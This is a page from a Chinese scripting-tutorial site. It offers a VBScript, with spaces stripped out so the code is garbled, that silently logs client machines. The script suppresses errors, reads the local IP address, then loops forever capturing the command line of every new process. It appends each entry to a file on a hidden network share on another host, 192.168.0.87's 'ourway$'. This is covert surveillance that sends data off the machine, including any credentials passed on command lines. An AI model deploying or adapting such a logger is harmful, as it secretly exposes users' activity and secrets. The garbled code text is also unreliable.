手机
当前位置:查字典教程网 >脚本专栏 >vbs >用VBS记录客户机操作的代码
用VBS记录客户机操作的代码
摘要:记录客户机操作的VBS脚本onerrorresumenextstrComputer="."SetobjWMIService=GetObjec...

记录客户机操作的VBS脚本

onerrorresumenext

strComputer="."

SetobjWMIService=GetObject("winmgmts:"&strComputer&"rootcimv2")

SetIPConfigSet=objWMIService.ExecQuery_

("SelectIPAddressfromWin32_NetworkAdapterConfigurationwhereIPEnabled=TRUE")

ForEachIPConfiginIPConfigSet

IfNotIsNull(IPConfig.IPAddress)Then

Fori=LBound(IPConfig.IPAddress)toUBound(IPConfig.IPAddress)

a=IPConfig.IPAddress(i)

Next

EndIf

Next

strComputer="."

SetobjWMIService=GetObject("winmgmts:"_

&"{impersonationLevel=impersonate}!"&strComputer&"rootcimv2")

SetcolMonitoredProcesses=objWMIService._

ExecNotificationQuery("select*from__instancecreationevent"_

&"within1whereTargetInstanceisa'Win32_Process'")

i=0

DoWhilei=0

SetobjLatestProcess=colMonitoredProcesses.NextEvent

b=objLatestProcess.TargetInstance.CommandLine

setfso=createobject("scripting.filesystemobject")

setfile1=fso.opentextfile("192.168.0.87ourway$ourway.htm",8,true)

file1.writelinenow()&"---"&a&"---"&b&"<hr>"

file1.close

Loop

【用VBS记录客户机操作的代码】相关文章:

用VBS设置静态IP和DNS服务器地址的代码

VBS中常用脚本代码

使用vbs下载文件的代码加强版

用vbs确定用户的登录名的代码

用VBS可执行程序+Xmlhttp下载备份网上文件的代码

用vbs实现不死帐号的代码

一个实现VBS倒计时的代码

用vbs实现cmd功能的代码

创建Guid 的代码

用vbscript合并多个文本文件的代码

精品推荐
分类导航